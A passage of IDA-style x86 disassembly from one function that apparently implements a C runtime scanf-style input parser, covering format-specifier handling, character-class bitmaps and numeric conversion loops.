		jz	short loc_420EB9
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EB9:				; CODE XREF: sub_420DB0+F5j
		cmp	ebx, 4Eh
		jg	short loc_420EFC
		jz	short loc_420F1E
		cmp	ebx, 2Ah
		jz	short loc_420EF7
		cmp	ebx, 46h
		jz	short loc_420F1E
		cmp	ebx, 49h
		jz	short loc_420ED9
		cmp	ebx, 4Ch
		jnz	short loc_420F0B
		inc	[ebp+var_D]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420ED9:				; CODE XREF: sub_420DB0+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_420F0B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_420F0B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EF7:				; CODE XREF: sub_420DB0+113j
		inc	[ebp+var_E]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EFC:				; CODE XREF: sub_420DB0+10Cj
		cmp	ebx, 68h
		jz	short loc_420F18
		cmp	ebx, 6Ch
		jz	short loc_420F10
		cmp	ebx, 77h
		jz	short loc_420F13


loc_420F0B:				; CODE XREF: sub_420DB0+122j
					; sub_420DB0+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F10:				; CODE XREF: sub_420DB0+154j
		inc	[ebp+var_D]


loc_420F13:				; CODE XREF: sub_420DB0+159j
		inc	[ebp+var_5]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F18:				; CODE XREF: sub_420DB0+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_420F1E:				; CODE XREF: sub_420DB0+107j
					; sub_420DB0+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_420E77
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_420F43
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_420F43:				; CODE XREF: sub_420DB0+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_420F61
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_420F5D
		cmp	al, 43h
		jz	short loc_420F5D
		or	[ebp+var_5], 0FFh
		jmp	short loc_420F61
; ---------------------------------------------------------------------------


loc_420F5D:				; CODE XREF: sub_420DB0+1A1j
					; sub_420DB0+1A5j
		mov	[ebp+var_5], 1


loc_420F61:				; CODE XREF: sub_420DB0+19Bj
					; sub_420DB0+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_420F9A
		cmp	esi, 63h
		jz	short loc_420F8B
		cmp	esi, 7Bh
		jz	short loc_420F8B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_42183D
		pop	ecx
		jmp	short loc_420F96
; ---------------------------------------------------------------------------


loc_420F8B:				; CODE XREF: sub_420DB0+1C5j
					; sub_420DB0+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C


loc_420F96:				; CODE XREF: sub_420DB0+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_420F9A:				; CODE XREF: sub_420DB0+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_420FAA
		cmp	[ebp+var_C], eax
		jz	loc_421786


loc_420FAA:				; CODE XREF: sub_420DB0+1EFj
		cmp	esi, 6Fh
		jg	loc_421211
		jz	loc_4214C3
		cmp	esi, 63h
		jz	loc_4211EE
		cmp	esi, 64h
		jz	loc_4214C3
		jle	loc_42123B
		cmp	esi, 67h
		jle	short loc_42100E
		cmp	esi, 69h
		jz	short loc_420FF6
		cmp	esi, 6Eh
		jnz	loc_42123B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_4216F1
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420DB0+229j
		push	64h
		pop	esi


loc_420FF9:				; CODE XREF: sub_420DB0+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_421283
		mov	[ebp+var_17], 1
		jmp	loc_421288
; ---------------------------------------------------------------------------


loc_42100E:				; CODE XREF: sub_420DB0+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42102A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42102F
; ---------------------------------------------------------------------------


loc_42102A:				; CODE XREF: sub_420DB0+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_421046


loc_42102F:				; CODE XREF: sub_420DB0+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_421049
; ---------------------------------------------------------------------------


loc_421046:				; CODE XREF: sub_420DB0+27Dj
		mov	edi, [ebp+arg_0]


loc_421049:				; CODE XREF: sub_420DB0+294j
		cmp	[ebp+var_20], 0
		jz	short loc_421058
		cmp	[ebp+var_C], 15Dh
		jle	short loc_42105F


loc_421058:				; CODE XREF: sub_420DB0+29Dj
		mov	[ebp+var_C], 15Dh


loc_42105F:				; CODE XREF: sub_420DB0+2A6j
					; sub_420DB0+2F2j
		cmp	dword_43D084, 1
		jle	short loc_421074
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42107F
; ---------------------------------------------------------------------------


loc_421074:				; CODE XREF: sub_420DB0+2B6j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42107F:				; CODE XREF: sub_420DB0+2C2j
		test	eax, eax
		jz	short loc_4210A4
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4210A4
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42105F
; ---------------------------------------------------------------------------


loc_4210A4:				; CODE XREF: sub_420DB0+2D1j
					; sub_420DB0+2DBj
		cmp	byte_43D088, bl
		jnz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		mov	al, byte_43D088
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_4210CD:				; CODE XREF: sub_420DB0+360j
		cmp	dword_43D084, 1
		jle	short loc_4210E2
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4210ED
; ---------------------------------------------------------------------------


loc_4210E2:				; CODE XREF: sub_420DB0+324j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4210ED:				; CODE XREF: sub_420DB0+330j
		test	eax, eax
		jz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4210CD
; ---------------------------------------------------------------------------


loc_421112:				; CODE XREF: sub_420DB0+2FAj
					; sub_420DB0+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_4211AA
		cmp	ebx, 65h
		jz	short loc_42112A
		cmp	ebx, 45h
		jnz	loc_4211AA


loc_42112A:				; CODE XREF: sub_420DB0+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_421151
		mov	[esi], al
		inc	esi
		jmp	short loc_421156
; ---------------------------------------------------------------------------


loc_421151:				; CODE XREF: sub_420DB0+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_421174


loc_421156:				; CODE XREF: sub_420DB0+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_421165
		and	[ebp+var_C], eax
		jmp	short loc_421174
; ---------------------------------------------------------------------------


loc_421165:				; CODE XREF: sub_420DB0+3AEj
					; sub_420DB0+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421174:				; CODE XREF: sub_420DB0+3A4j
					; sub_420DB0+3B3j
		cmp	dword_43D084, 1
		jle	short loc_421189
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421194
; ---------------------------------------------------------------------------


loc_421189:				; CODE XREF: sub_420DB0+3CBj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421194:				; CODE XREF: sub_420DB0+3D7j
		test	eax, eax
		jz	short loc_4211AA
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_421165
; ---------------------------------------------------------------------------


loc_4211AA:				; CODE XREF: sub_420DB0+366j
					; sub_420DB0+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43D428
		add	esp, 0Ch
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4211EE:				; CODE XREF: sub_420DB0+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_4211FD
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_4211FD:				; CODE XREF: sub_420DB0+441j
		cmp	[ebp+var_5], 0
		jle	short loc_421207
		mov	[ebp+var_16], 1


loc_421207:				; CODE XREF: sub_420DB0+451j
		mov	edi, offset dword_43D300
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421211:				; CODE XREF: sub_420DB0+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_4214BF
		sub	eax, 3
		jz	loc_42130D
		dec	eax
		dec	eax
		jz	loc_4214C3
		sub	eax, 3
		jz	loc_420FF9
		sub	eax, 3
		jz	short loc_42125F


loc_42123B:				; CODE XREF: sub_420DB0+21Bj
					; sub_420DB0+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_421786
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_42125F:				; CODE XREF: sub_420DB0+489j
		cmp	[ebp+var_5], 0
		jle	short loc_421269
		mov	[ebp+var_16], 1


loc_421269:				; CODE XREF: sub_420DB0+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_421320
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421283:				; CODE XREF: sub_420DB0+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_4212AA


loc_421288:				; CODE XREF: sub_420DB0+259j
		dec	[ebp+var_C]
		jnz	short loc_421299
		cmp	[ebp+var_20], 0
		jz	short loc_421299
		mov	[ebp+var_F], 1
		jmp	short loc_4212AA
; ---------------------------------------------------------------------------


loc_421299:				; CODE XREF: sub_420DB0+4DBj
					; sub_420DB0+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4212AA:				; CODE XREF: sub_420DB0+4D6j
					; sub_420DB0+4E7j
		cmp	ebx, 30h
		jnz	loc_4214F8
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_4212F8
		cmp	bl, 58h
		jz	short loc_4212F8
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4212E2
		push	6Fh


loc_4212DC:				; CODE XREF: sub_420DB0+55Bj
		pop	esi
		jmp	loc_4214F8
; ---------------------------------------------------------------------------


loc_4212E2:				; CODE XREF: sub_420DB0+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_4214F5
; ---------------------------------------------------------------------------


loc_4212F8:				; CODE XREF: sub_420DB0+517j
					; sub_420DB0+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4212DC
; ---------------------------------------------------------------------------


loc_42130D:				; CODE XREF: sub_420DB0+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_421317
		mov	[ebp+var_16], 1


loc_421317:				; CODE XREF: sub_420DB0+561j
		mov	edi, offset dword_43D2F8


loc_42131C:				; CODE XREF: sub_420DB0+45Cj
					; sub_420DB0+4CEj
		or	[ebp+var_18], 0FFh


loc_421320:				; CODE XREF: sub_420DB0+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_421344
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_421344
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421344:				; CODE XREF: sub_420DB0+584j
					; sub_420DB0+589j
		mov	dl, [ebp+var_35]


loc_421347:				; CODE XREF: sub_420DB0+592j
					; sub_420DB0+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_4213AC
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_421393
		test	dl, dl
		jz	short loc_421393
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_421393
		inc	edi
		cmp	dl, cl
		jnb	short loc_421366
		mov	al, cl
		jmp	short loc_42136A
; ---------------------------------------------------------------------------


loc_421366:				; CODE XREF: sub_420DB0+5B0j
		mov	al, dl
		mov	dl, cl


loc_42136A:				; CODE XREF: sub_420DB0+5B4j
		cmp	dl, al
		ja	short loc_42138F
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_421377:				; CODE XREF: sub_420DB0+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_421377


loc_42138F:				; CODE XREF: sub_420DB0+5BCj
		xor	dl, dl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420DB0+5A0j
					; sub_420DB0+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_4213AC:				; CODE XREF: sub_420DB0+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_4217B6
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4213BE
		mov	[ebp+arg_4], edi


loc_4213BE:				; CODE XREF: sub_420DB0+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4213D5:				; CODE XREF: sub_420DB0+6BCj
					; sub_420DB0+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_4213E9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_421485


loc_4213E9:				; CODE XREF: sub_420DB0+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_421479
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_421479
		cmp	[ebp+var_E], 0
		jnz	short loc_421471
		cmp	[ebp+var_16], 0
		jz	short loc_421466
		mov	ecx, off_43CE78
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421445
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		mov	[ebp+var_37], al


loc_421445:				; CODE XREF: sub_420DB0+686j
		push	dword_43D084
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_4246CB
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_421469
; ---------------------------------------------------------------------------


loc_421466:				; CODE XREF: sub_420DB0+673j
		mov	[esi], al
		inc	esi


loc_421469:				; CODE XREF: sub_420DB0+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421471:				; CODE XREF: sub_420DB0+66Dj
		inc	[ebp+var_30]
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421479:				; CODE XREF: sub_420DB0+649j
					; sub_420DB0+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		pop	ecx
		pop	ecx


loc_421485:				; CODE XREF: sub_420DB0+633j
		cmp	[ebp+var_30], esi
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_421717
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4214B7
		and	word ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214B7:				; CODE XREF: sub_420DB0+6FCj
		and	byte ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214BF:				; CODE XREF: sub_420DB0+466j
		mov	[ebp+var_D], 1


loc_4214C3:				; CODE XREF: sub_420DB0+203j
					; sub_420DB0+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_4214D1
		mov	[ebp+var_17], 1
		jmp	short loc_4214D6
; ---------------------------------------------------------------------------


loc_4214D1:				; CODE XREF: sub_420DB0+719j
		cmp	ebx, 2Bh
		jnz	short loc_4214F8


loc_4214D6:				; CODE XREF: sub_420DB0+71Fj
		dec	[ebp+var_C]
		jnz	short loc_4214E7
		cmp	[ebp+var_20], 0
		jz	short loc_4214E7
		mov	[ebp+var_F], 1
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214E7:				; CODE XREF: sub_420DB0+729j
					; sub_420DB0+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax


loc_4214F5:				; CODE XREF: sub_420DB0+543j
		mov	[ebp+var_14], ebx


loc_4214F8:				; CODE XREF: sub_420DB0+4FDj
					; sub_420DB0+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_421611
		cmp	[ebp+var_F], 0
		jnz	loc_4215EF


loc_42150C:				; CODE XREF: sub_420DB0+82Cj
		cmp	esi, 78h
		jnz	short loc_421560
		cmp	dword_43D084, 1
		jle	short loc_421529
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421536
; ---------------------------------------------------------------------------


loc_421529:				; CODE XREF: sub_420DB0+768j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421536:				; CODE XREF: sub_420DB0+777j
		test	eax, eax
		jz	loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_4247A0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4215B3
; ---------------------------------------------------------------------------


loc_421560:				; CODE XREF: sub_420DB0+75Fj
		cmp	dword_43D084, 1
		jle	short loc_421575
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421580
; ---------------------------------------------------------------------------


loc_421575:				; CODE XREF: sub_420DB0+7B7j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421580:				; CODE XREF: sub_420DB0+7C3j
		test	eax, eax
		jz	short loc_4215E1
		cmp	esi, 6Fh
		jnz	short loc_42159E
		cmp	ebx, 38h
		jge	short loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_4247A0
		jmp	short loc_4215AD
; ---------------------------------------------------------------------------


loc_42159E:				; CODE XREF: sub_420DB0+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41DB20


loc_4215AD:				; CODE XREF: sub_420DB0+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_4215B3:				; CODE XREF: sub_420DB0+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_4215CB
		dec	[ebp+var_C]
		jz	short loc_4215EF


loc_4215CB:				; CODE XREF: sub_420DB0+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42150C
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_420DB0+788j
					; sub_420DB0+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4215EF:				; CODE XREF: sub_420DB0+756j
					; sub_420DB0+819j
		cmp	[ebp+var_17], 0
		jz	loc_4216D5
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_4216D5
; ---------------------------------------------------------------------------


loc_421611:				; CODE XREF: sub_420DB0+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4216CD


loc_42161B:				; CODE XREF: sub_420DB0+90Aj
		cmp	esi, 78h
		jz	short loc_42165F
		cmp	esi, 70h
		jz	short loc_42165F
		cmp	dword_43D084, 1
		jle	short loc_42163A
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421645
; ---------------------------------------------------------------------------


loc_42163A:				; CODE XREF: sub_420DB0+87Cj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421645:				; CODE XREF: sub_420DB0+888j
		test	eax, eax
		jz	short loc_4216BF
		cmp	esi, 6Fh
		jnz	short loc_421658
		cmp	ebx, 38h
		jge	short loc_4216BF
		shl	edi, 3
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_421658:				; CODE XREF: sub_420DB0+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_42165F:				; CODE XREF: sub_420DB0+86Ej
					; sub_420DB0+873j
		cmp	dword_43D084, 1
		jle	short loc_421677
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421684
; ---------------------------------------------------------------------------


loc_421677:				; CODE XREF: sub_420DB0+8B6j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421684:				; CODE XREF: sub_420DB0+8C5j
		test	eax, eax
		jz	short loc_4216BF
		push	ebx
		shl	edi, 4
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421697:				; CODE XREF: sub_420DB0+8A6j
					; sub_420DB0+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4216A9
		dec	[ebp+var_C]
		jz	short loc_4216CD


loc_4216A9:				; CODE XREF: sub_420DB0+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42161B
; ---------------------------------------------------------------------------


loc_4216BF:				; CODE XREF: sub_420DB0+897j
					; sub_420DB0+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4216CD:				; CODE XREF: sub_420DB0+865j
					; sub_420DB0+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_4216D5
		neg	edi


loc_4216D5:				; CODE XREF: sub_420DB0+843j
					; sub_420DB0+85Cj ...
		cmp	esi, 46h
		jnz	short loc_4216DE
		and	[ebp+var_1C], 0


loc_4216DE:				; CODE XREF: sub_420DB0+928j
		cmp	[ebp+var_1C], 0
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	short loc_421717
		inc	[ebp+var_34]


loc_4216F1:				; CODE XREF: sub_420DB0+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_421707
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_420DB0+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_421714
		mov	[eax], edi
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421714:				; CODE XREF: sub_420DB0+95Ej
		mov	[eax], di


loc_421717:				; CODE XREF: sub_420DB0+241j
					; sub_420DB0+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_421764
; ---------------------------------------------------------------------------


loc_421722:				; CODE XREF: sub_420DB0+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_421791
		mov	ecx, off_43CE78
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421764
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_42179F
		dec	[ebp+var_4]


loc_421764:				; CODE XREF: sub_420DB0+970j
					; sub_420DB0+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42177A
		cmp	byte ptr [esi],	25h
		jnz	short loc_4217BC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_4217BC
		mov	esi, eax


loc_42177A:				; CODE XREF: sub_420DB0+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_420DDA
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_421786:				; CODE XREF: sub_420DB0+1F4j
					; sub_420DB0+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_421796
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: sub_420DB0+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_421796:				; CODE XREF: sub_420DB0+9DFj
		call	sub_421826
		pop	ecx
		pop	ecx
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_42179F:				; CODE XREF: sub_420DB0+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		add	esp, 10h


loc_4217B6:				; CODE XREF: sub_420DB0+1Fj
					; sub_420DB0+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4217CD


loc_4217BC:				; CODE XREF: sub_420DB0+9BDj
					; sub_420DB0+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4217D0
